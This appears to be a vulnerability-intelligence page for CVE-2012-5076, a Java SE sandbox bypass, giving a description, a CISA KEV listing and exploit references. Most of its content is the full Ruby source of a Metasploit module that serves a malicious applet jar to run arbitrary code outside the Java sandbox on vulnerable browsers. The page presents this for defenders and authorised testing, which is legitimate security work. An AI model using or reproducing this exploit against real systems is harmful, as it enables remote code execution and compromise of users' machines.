VIR Vulnerability Intelligence Relay

CVE-2012-5076

unknown KEV
Published 2022-03-28 · Modified 2022-03-28
💬 Discuss on Community ✚ Propose mitigation
CVSS v3
—
CVSS v4 NEW
—
not yet in upstream
VIR risk
2.5

Description

The default Java security properties configuration did not restrict access to the com.sun.org.glassfish.external and com.sun.org.glassfish.gmbal packages. An untrusted Java application or applet could use these flaws to bypass Java sandbox restrictions.

CISA KEV

Vendor
Oracle
Product
Java SE
Due date
2022-04-18

Predictions

Exploit likelihood
99%
Patch ETA
—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-24309 remote java verified
Metasploit · 2013-01-24

Java Applet - AverageRangeStatisticImpl Remote Code Execution (Metasploit)

Source code queued for fetch — refresh in a moment.
EDB-22657 remote multiple verified ruby · 3 KB
Metasploit · 2012-11-13

Java Applet - JAX-WS Remote Code Execution (Metasploit)

ruby exploit Source: Exploit-DB 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({ :javascript => false })

	def initialize( info = {} )
		super( update_info( info,
			'Name'          => 'Java Applet JAX-WS Remote Code Execution',
			'Description'   => %q{
					This module abuses the JAX-WS classes from a Java Applet to run arbitrary Java
				code outside of the sandbox as exploited in the wild in November of 2012. The
				vulnerability affects Java version 7u7 and earlier.
			},
			'License'       => MSF_LICENSE,
			'Author'        =>
				[
					'Unknown', # Vulnerability Discovery
					'juan vazquez' # metasploit module
				],
			'References'    =>
				[
					[ 'CVE', '2012-5076' ],
					[ 'OSVDB', '86363' ],
					[ 'BID', '56054' ],
					[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
					[ 'URL', 'http://malware.dontneedcoffee.com/2012/11/cool-ek-hello-my-friend-cve-2012-5067.html' ]
				],
			'Platform'      => [ 'java', 'win' ],
			'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
			'Targets'       =>
				[
					[ 'Generic (Java Payload)',
						{
							'Arch' => ARCH_JAVA,
						}
					],
					[ 'Windows Universal',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'win'
						}
					],
					[ 'Linux x86',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'linux'
						}
					]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Oct 16 2012'
			))
	end


	def on_request_uri( cli, request )
		if not request.uri.match(/\.jar$/i)
			if not request.uri.match(/\/$/)
				send_redirect(cli, get_resource() + '/', '')
				return
			end

			print_status("#{self.name} handling request")

			send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
			return
		end

		paths = [
			[ "Exploit.class" ],
			[ "MyPayload.class" ]
		]

		p = regenerate_payload(cli)

		jar  = p.encoded_jar

		paths.each do |path|
			1.upto(path.length - 1) do |idx|
				full = path[0,idx].join("/") + "/"
				if !(jar.entries.map{|e|e.name}.include?(full))
					jar.add_file(full, '')
				end
			end
			fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2012-5076", path ), "rb")
			data = fd.read(fd.stat.size)
			jar.add_file(path.join("/"), data)
			fd.close
		end

		print_status("Sending Applet.jar")
		send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )

		handler( cli )
	end

	def generate_html
		jar_name = rand_text_alpha(rand(6)+3) + ".jar"
		html  = "<html><head></head>"
		html += "<body>"
		html += "<applet archive=\"#{jar_name}\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
		html += "</applet></body></html>"
		return html
	end

end

Metasploit modules

exploit_multi/browser/java_jre17_glassfish_averagerangestatisticimpl rank 600
Java Applet AverageRangeStatisticImpl Remote Code Execution
Source fetch failed: fetch_error — view the original via the link above.
exploit_multi/browser/java_jre17_jaxws rank 600
Java Applet JAX-WS Remote Code Execution
Source fetch failed: fetch_error — view the original via the link above.

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.